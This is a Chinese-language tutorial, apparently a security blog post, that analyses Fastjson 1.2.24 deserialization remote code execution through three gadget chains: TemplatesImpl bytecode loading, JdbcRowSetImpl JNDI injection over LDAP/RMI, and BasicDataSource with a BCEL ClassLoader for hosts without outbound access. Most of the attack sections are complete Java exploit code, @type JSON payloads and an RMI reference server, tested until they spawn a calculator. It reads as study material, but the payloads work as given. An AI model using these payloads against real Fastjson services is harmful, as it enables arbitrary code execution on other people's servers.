Fastjson-1.2.24
环境
JDK8u65
1.2.22 <= Fastjson <= 1.2.24
pom.xml 文件导入如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0 .9 </version> </dependency> <dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.5 </version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .24 </version> </dependency> <dependency> <groupId>commons-codec</groupId> <artifactId>commons-codec</artifactId> <version>1.12 </version> </dependency>
出网情况下
基于TemplatesImpl的利用链
分析
我们一定对TemplatesImpl有所了解,学习CC链时,就有它的身影,我们使用它的getTransletInstance
方法去加载任意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
继续深入的分析,我们已经在CC链专题中讲过了,这里就不再多说
我们要想走到defineTransletClasses
方法,并进行实例化类,需要以下几个条件成立
_name 不等于 null
_class 等于 null
_tfactory 为 TransformerFactoryImpl
因此在设想中,我们的poc大概是以下这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ;final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class" ;" { \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\"" +evilCode+"\"], '_name':'Drunkbaby', '_tfactory':{ }, " ;
但是实际上,getTransletInstance
并不满足我们的getter的条件
1 2 3 4 5 6 7 private Translet getTransletInstance () throws TransformerConfigurationException { ...... return translet; } ...... }
我们应该找哪里调用了该方法,发现只有newTransformer
中调用了,但他不是符合setter或getter方法,继续向上找去,找到一个符合条件的setter与getter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
最终我们找到了方法getOutputProperties
,是可以让我们利用的getter方法,它的返回值Properties
正是一个Map
类型
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
大概链子如下
1 getOutputProperties() ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
现在我们的大概POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ;final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class" ;" { \"@type\":\"" + NASTY_CLASS + "\", \"_bytecodes\":[\"" +evilCode+"\"], '_name':'Drunkbaby', '_tfactory':{ }, \"_outputProperties\":{ }, " ;
实现
自己的poc不知道为什么一直无法弹出计算器,看了别的师傅的payload修改后才成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package com;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.util.Base64;public class fastjsonTest { public static class test {} public static byte [] convert(String path) throws Exception { File file = new File (path); if (!file.exists()) { throw new IOException ("File not found: " + path); } try (FileInputStream fis = new FileInputStream (file)) { byte [] bytes = new byte [(int ) file.length()]; int readBytes = fis.read(bytes); if (readBytes != file.length()) { throw new IOException ("Failed to read the entire file: " + path); } return bytes; } } public static void main (String[] args) throws Exception { String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String classPath = "F:\\temporary\\Test.class" ; byte [] code= convert(classPath); String evilCode_base64 = Base64.getEncoder().encodeToString(code); String payload = "{\"" + "@type\":\"" + NASTY_CLASS + "\"," + "\"" + "_bytecodes\":[\"" + evilCode_base64 + "\"]," + "'_name':'asd','" + "_tfactory':{ },\"" + "_outputProperties\":{ }" + "}" ; ParserConfig config = new ParserConfig (); System.out.println(payload); Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField); } }
基于JdbcRowSetImpl的利用链
分析
我们找到JdbcRowSetImpl
类中的connect
方法存在一个lookup
方法,可能存在JNDI注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this.conn != null ) { return this.conn; } else if (this.getDataSourceName () != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup (this.getDataSourceName ()); return this.getUsername () != null && !this.getUsername ().equals ("" ) ? var2.getConnection (this.getUsername (), this.getPassword ()) : var2.getConnection (); } catch (NamingException var3) { throw new SQLException (this.resBundle.handleGetObject ("jdbcrowsetimpl.connect" ).toString ()); } } else { return this.getUrl () != null ? DriverManager.getConnection (this.getUrl (), this.getUsername (), this.getPassword ()) : null ; } }
connect
方法对this.getDataSourceName()
进行了lookup
以下是getDataSourceName
的代码,若我们可以控制dataSource,即可实现JNDI注入
虽然dataSource是一个私有属性,但是在本类中具有它public的setter方法,因此它是一个可控变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public String getDataSourceName () { return dataSource; } public void setDataSourceName (String name) throws SQLException { if (name == null ) { dataSource = null ; } else if (name.equals ("" )) { throw new SQLException ("DataSource name cannot be empty string" ); } else { dataSource = name; } URL = null ; }
接下来我们找connect
方法的调用处,需要是一个getter或者是setter
我们找到了以下两种方法,而只有setAutoCommit
方法是可以利用的
而getDatabaseMetaData不可利用的原因是
返回值为DatabaseMetaData
,不为指定类型
遍历getter方法需要使用parseObject
方法,若要调用getter,则在toJSON
方法前不能出错
这里我们使用setAutoCommit
方法,只要我们传入var1参数,这里我们可以调用connect
方法,实现JNDI注入
1 2 3 4 5 6 7 8 9 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
实现
我用yakit的反连服务器工具来生成LDAP反连地址
它的实现十分简单,我们需要设置三个键值对
@type : com.sun.rowset.JdbcRowSetImpl
DataSourceName : ldap://127.0.0.1:8085/ENbcWWGK
autoCommit : false
我们需要设置DataSource,但是它的setter方法为DataSourceName,因此我们需要传入的是DataSourceName
而正如上面所说,我们想要执行connect方法,就要设置传入setAutoCommit
的参数为false
1 2 3 4 5 6 public class FastJsonJdbcRowSetImpl { public static void main (String[] args) { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ENbcWWGK\",\"autoCommit\":false}" ; JSON.parseObject(s); } }
这样即可使远程类加载
rmi也是同理,依旧可以造成注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com;import javax.naming.InitialContext;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Test { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("TestRef" ,"TestRef" ,"http://localhost:7777/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" , reference); } }
不出网
基于BasicDataSource的不出网利用链
分析
在出网情况下可以远程加载恶意类,如果在目标不出网的情况下,只能通过本地类加载来利用
我们这里的核心是BCEL中的一个ClassLoader
的loadclass
,若这个类的开头命名满足$$BCEL$$
,就会创建出一个类,并进行类加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 protected Class loadClass (String class_name, boolean resolve) throws ClassNotFoundException { ...... if (cl == null ) { JavaClass clazz = null ; if (class_name.indexOf("$$BCEL$$" ) >= 0 ) clazz = createClass(class_name); else { if ((clazz = repository.loadClass(class_name)) != null ) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException (class_name); } if (clazz != null ) { byte [] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0 , bytes.length); } else cl = Class.forName(class_name); } if (resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }
现在我们构造一个恶意类,用BCEL的ClassLoader
进行类加载,并进行实例化,即可弹出计算器
这里使用encode
的原因是在BCEL的ClassLoader
的loadclass
中,有一个方法createClass
,其中对传入的参数进行了一次decode
,因此我们需要手动encode
一次才不会出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected JavaClass createClass (String class_name) { int index = class_name.indexOf("$$BCEL$$" ); String real_name = class_name.substring(index + 8 ); JavaClass clazz = null ; try { byte [] bytes = Utility.decode(real_name, true ); ClassParser parser = new ClassParser (new ByteArrayInputStream (bytes), "foo" ); clazz = parser.parse(); } ...... return clazz; }
接下来就要找到调用该类loadclass的地方,一直向上找最终找到getter或者是setter
我们找到tomcat中的BasicDataSource
类中的createConnectionFactory
若driverClassLoader
不为空,则使用该类加载器对driverClassName
进行加载
而正好这两个属性都有对应的setter方法,是可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 protected ConnectionFactory createConnectionFactory () throws SQLException { Driver driverToUse = this .driver; if (driverToUse == null ) { Class<?> driverFromCCL = null ; if (driverClassName != null ) { try { try { if (driverClassLoader == null ) { driverFromCCL = Class.forName(driverClassName); } else { driverFromCCL = Class.forName(driverClassName, true , driverClassLoader); } } catch (final ClassNotFoundException cnfe) { driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName); } } catch (final Exception t) { final String message = "Cannot load JDBC driver class '" + driverClassName + "'" ; logWriter.println(message); t.printStackTrace(logWriter); throw new SQLException (message, t); } } ...... return driverConnectionFactory; }
现在我们向上找,知道找到可利用的getter或setter方法
createDataSource
方法调用了createConnectionFactory
getconnection
调用了createDataSource
而getconnection
就是一个可用的getter方法
1 2 3 4 5 6 7 8 9 10 protected DataSource createDataSource () throws SQLException { ...... final ConnectionFactory driverConnectionFactory = createConnectionFactory(); ...... } public Connection getConnection () throws SQLException { ...... return createDataSource().getConnection(); }
成功加载恶意类
实现
将@type
设为org.apache.tomcat.dbcp.dbcp2.BasicDataSource
,对driverClassName
和driverClassLoader
进行赋值,其中Name要符合$$BCEL$$
,而Loader要通过JSON来还原一个类加载器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class FastJsonBcel { public static void main (String[] args) throws Exception { ClassLoader classLoader = new com .sun.org.apache.bcel.internal.util.ClassLoader(); byte [] bytes = convert("F:\\java\\RMI\\RMIServer\\target\\classes\\TestRef.class" ); String code = Utility.encode(bytes,true ); String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" +code+"\",\"driverClassLoader\":\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}" ; JSON.parse(s); System.out.println(code); } public static byte [] convert(String path) throws Exception { File file = new File (path); if (!file.exists()) { throw new IOException ("File not found: " + path); } try (FileInputStream fis = new FileInputStream (file)) { byte [] bytes = new byte [(int ) file.length()]; int readBytes = fis.read(bytes); if (readBytes != file.length()) { throw new IOException ("Failed to read the entire file: " + path); } return bytes; } } }
最后成功利用,执行弹窗
总结
总结一下漏洞发生在反序列化的点,也就是 Obj.parse
和 Obj.parseObject
这里。必须的是传参要带入 class 的参数
PoC 是通过 String 传进去的,要以 @type
打头
漏洞的原因是反序列化的时候去调用了 getter 和 setter 的方法